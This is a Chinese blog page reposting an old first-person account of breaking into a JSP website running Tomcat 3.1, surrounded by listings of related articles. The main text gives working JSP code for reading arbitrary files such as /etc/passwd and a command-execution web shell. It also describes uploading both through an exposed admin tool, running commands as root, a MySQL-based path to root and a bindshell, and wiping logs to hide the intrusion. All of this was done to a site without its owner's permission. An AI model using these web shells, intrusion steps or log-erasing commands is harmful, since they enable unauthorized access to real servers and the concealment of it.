入侵基于JSP+Tomcat的Web网站实录

今天给在家介绍一篇基于jsp的旅游网站设计与实现 主要分为五个模块:旅游咨询模块,旅游线路模块,线路查询模块,热点线路模块;旅游网站的设计是面向现实需求的一个实用系统 阅读详情

 很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

  返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL

  获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

  回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

  看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/

  管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>

  然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd

  密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

  再写一个JSP文件:

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

  然后把这个JSP再通过upload上传,有SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)

  怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:

sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

  显示:

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

  系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。

  之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。

  但是,接下来已经实际操作,结果令人颇感意外:

http://target:8080/upload/cmd.jsp?cmd=id

  显示:

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

  原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?

http://target:8080/upload/cmd.jsp?cmd=ps+aux

  果然是root身份运行的(不列出来了)

  剩下的事情:

  1、删除我的telnet记录。

  2、删除http的日志。

  清除日志我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。

  说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!
基于jsp的电子商务网站设计 随着Internet基础设施的快速发展,和网络应用的深入人心,人们的生活、工作、学习、商务活动都已经越来越离不开网络的参与,而电子商务(Electronic Commerce或Electronic Business)作为推动网络建设的原动力更是扮演了一个非常重要的角色。而JSP技术的应用为电子商务的发展注入了新的动力。它为简单快捷地开发出跨平台的、功能强大的企业级电子商务平台提供了强大的技术支持。 本文从介绍电子商务的概念出发,进而探讨了几种web开发技术,详细介绍了JSP的相关概念和技术(JavaBeans、JDBC、JavaServlet),深入论证了以JSP+MS SQL Server为平台制作电子商务网站的总体设计方案。在此技术基础上,针对一个主题商务网站的建设,做了详细的需求分析和功能设计,阐述了网站的结构和功能模块,并详细分析了如何在JSP+MS SQL Server平台下实现用户登录、身份验证、搜索引擎、购物车、聊天室等功能,尤其是针对购物车技术、数据库操作、数据库连接优化的实现作了深入的探讨。最终实现了商务网站的功能。最后,对电子商务涉及的网络安全,以及JSP强大的企业级支持技术EJB做了简要介绍。 立即下载

相关推荐

基于JSP的手机网站

JSP手机销售网站,用的sql数据库,毕业设计作品,欢迎下载

现场纪实—如何入侵基于JSP的网站

很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。      telnet www.target.com 8080   GET /CHINANSL HTTP/1.1   [Enter]   [Enter]           返回的结果如下:      HTTP/1.0 404 Not Found   Date: Sun,

ZhangGuozhong's Blog 983

基于JSP上的bbs论坛网站

为了方便信息的交流,在结合动态服务网页(JSP)和ACCESS 技术之下开发了这个界面友好的小型论坛系统。论坛使用ACCESS制作系统的数据库,利用JavaBean实现系统功能。 该论坛为网友们提供了一个交流的平台,在这里注册用户可以自由地发表自己的观点和对论坛的主题帖子发表意见,还可以及时的解决网友提出的问题,获取对自己有用的知识。该论坛还有一些特殊的功能,强大的搜索功能等。

mysql 4 注入_Jsp+Mysql网站注入并拿root权限的入侵全过程(图)

很多人可能都知道asp,php的编程要防止sql注入漏洞,而并不知道jsp编程同样也需要防备sql注入漏洞.其实,一旦jsp代码有注入漏洞,将直接影响到整个系统的安全。本文就是主要展示一下我的一次JSP+MYSQL注入导出webshell的过程。www.***.***.cn是国内某一个著名研究所的网站,我们在这里对其进行善意的测试。当然,在写此文之前我已经将漏洞通知了网站管理员.并对文中所有的图片...

weixin_39850365的博客 305

基于 jsp 的 博客网站

基于jsp+servlet+sql2000的网站系统

基于JSP的美食网站

目 录 摘要…………………………………………………………………………………3 Abstract…………………………………………………………………………… 4 前言…………………………………………………………………………………5 第一章 系统概述……………………………………………………………………6 1.1 本课题的研究意义…………………………………………………………6 1.2 本论文的目的、内容及发展趋势…………………………………………6 第二章 销售网站系统概述…………………………………………………………8 2.1 销售模型现状………………………………………………………………8 2.2 网站系统开发方法介绍……………………………………………………8 第三章 系统调研及可行性分析……………………………………………………12 3.1 系统调研…………………………………………………………………12 3.2 可行性分析…………………………………………………………………12 第四章 系统及需求分析……………………………………………………15 4.1 系统需求………………………………………………………………15 4.2 可行性分析开发环境的选择……………………………………………16 第五章 系统设计……………………………………………………………20 5.1 系统概要设计…………………………………………………………20 5.2 网上美食预订系统功能分析…………………………………………20 5.3 网上美食预订系统模块设计…………………………………………21 5.4 数据库设计……………………………………………………………22 5.5 网上美食预订系统界面设计…………………………………………22 第六章 网上美食预订系统界面设计…………………………………………27 6.1 开发环境简介…………………………………………………………27 6.2 系统界面的设计………………………………………………………28 总结…………………………………………………………………………36 参考资料……………………………………………………………………37

计算机毕业设计 jsp游戏网站(jsp+sqlserver) 毕设

棋、麻将等,游戏玩家在这里,可以获取更为丰富的热门游戏基本信息及推荐,如最受欢迎的植物大战僵尸、愤怒的小鸟、快刀削水果等,画面效果逼真、流畅,加上优美的背景音乐,让玩家可以尽情享受小游戏带来的乐趣。越来越多,随着社会和生活工作压力的加剧,游戏爱好者会更加注重用户体验,游戏网站必须站在用户的角度去创新,重视用户体验度,更新更多可玩性高、受众多玩家喜爱的休闲游戏,相信网络游戏之路发展一定会一片光明。连连看、会说话的汤姆猫、愤怒的小鸟、快刀削水果、超级玛丽、忍者神龟之王者归来、拳皇、斗地主、象棋、五子棋、四。

yy521chxu的博客 437

硬件之光实战篇--Boost

当开关管处于关闭状态时,由于电感中的电流在短时间内不能瞬间消失,因此它会产生一个电感电动势,在电容器上加上一个高电压,从而使输出电压变高。--------------------------------------------------------分割线----------------------------------------------------------------在应用中,升压芯片需要根据负载电路的需求,选择合适的电感和电容等元器件,以达到所需要的升压倍数和输出电压。

m0_58664890的博客 2101

【Jsp课设】3款基于JavaWeb的学生选课管理系统

项目介绍:后端采用Jsp+Servlet。前端使用的是Layui的一个网站模板。开发一个在线的学生选课管理系统,用于课程设计的使用。项目类型:JavaWeb源码用户类型:2个角色(管理员+学生)主要技术:Jsp+Servlet+MySQL+Jquery(前端Bootstrap或者Layui)开发工具:Eclipse/Idea均可使用,有两个不同的版本数据库:MySQL数据库表:6/4张

学长源码的博客 5563

HDLBits答案汇总

前言 该博客为本人做HDLBits习题时的心得记录总结,欢迎大家一起交流进步。 HDLBits网站链接 Verilog Language Basics Vectors Modules:Hierarchy Procedures More Verilog Features Circuits Combinational Logic Basic gates Multiplexers Arithmetic Circuits Karnaugh Map to Circuit Sequential Logic Latche

谦豫 9万+

算法面经手撕系列(2)--手撕BatchNormlization

手动实现/手撕BatchNormlization

罟霖同学的站点 865

WEB入侵的过程jsp

 作者:lovehacker 本文描述了如何通过WEB入侵获得freebsd 4.0的root权限。 文章主要以教育为目的,希望各位观者不要使用本文中的一些方法及程序,危害网络的安全。 作者:lovehacker 联系方式:lovehacker@263.net 网站地址:http://www.chinansl.com 版权属安盟信息科技有限责任公司所有,允许转载,但需保持文章的完整性。

3228

使用Bigemap下载地图流程

Bigemap地图下载简单流程,临时安排任务简单学习没有深入了解。

TKY666的博客 4846

全程追踪入侵JSP网站

在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言,安全性真的能够让人放心吗?面对层出不穷的黑客攻击和病毒袭击,JSP网站的服务器能够比其他网站的服务器器更加安全吗?前段时间,应朋友之邀,我对他们托管的三台服务器的主机进行了测试,发现了JSP网站存在的几个问题。入侵测试第一步:扫描WwX黑色海岸线网络安全资讯站    扫描是入侵的第一步,它可以让你对即将入侵的目标有一个全面的了解。同

lookthesea的专栏 1816

python代码实现了一个基于图注意力网络(GAT)和长短期记忆网络(LSTM)的股票成交量预测模型

自定义数据集类:定义了类,继承自。该类用于生成股票数据的时间序列样本,每个样本包含一个长度为seq_length的时间序列和对应的目标成交量。数据加载器:使用DataLoader对数据集进行批量加载,设置批量大小为 64,并开启数据打乱功能。GAT - LSTM 模型:定义了GAT_LSTM类,继承自。该模型结合了 GAT 和 LSTM 两种神经网络:GAT 部分:使用GATConv处理全局图特征,捕获股票之间的相互关系。LSTM 部分:使用nn.LSTM处理时间序列数据,捕捉时间序列的动态变化。

huanghm88的专栏 425

基于STM32F103设计的智能门锁(支持多种开锁解锁方式)

这个智能锁模型是基于STM32平台开发的,支持多种开锁方式。其中,一种是使用RC522射频卡读卡器读取IC卡卡号和内部数据,并验证身份后开锁;另一种是通过连接蓝牙地址来确认业主身份,实现了蓝牙自动开锁功能;最后一种是通过ESP8266连接腾讯云物联网平台,并且用户可以通过微信小程序“腾讯连连”进行远程开锁和关锁。这样,用户就可以选择最方便的方式来进行开锁操作了。

3万+

应急响应实战之web入侵

2. 2020-05-13 18:31:14 左右利用 phpstudy 后门通过/info.php 页面,在网站根目录写入了shell.php 文件。某天运维人员发现在/opt/tomcat8/webapps/test/目录下,多出了 index_bak.jsp 这个文件。3. 2020-05-13 18:32:36 利用/shell.php,写入了/html/shell.php 冰蝎马。识别网站架构(如LAMP、Nginx)、中间件版本及第三方组件(如CMS、编辑器)

YakiraFalzone的博客 1464

STM32_HAL库—PWM产生指定个数

(一)CubeMX设置: 1. 晶振配置(72M) 2. 引脚配置 3. 中断配置 4. 配置及实现方式 由上推出公式: 机器周期: (72MHz / 36) = 2MHz = 0.5us PWM周期: 0.5 * 100 = 50us = 20kHz 5. 主函数调用PWM函数 HAL_TIM_PWM_Start_IT(&htim3, TIM_CHANNEL_2); //此处一句后可直接进入中断 6. PWM溢出回调函数 void HAL_TIM_PWM_PulseFinished

5526
上一篇: Tomcat的安全配置
下一篇: tomcat 服务器安全设置 文章转载说明
JavaAlpha
博客等级 码龄18年 910粉丝 511原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值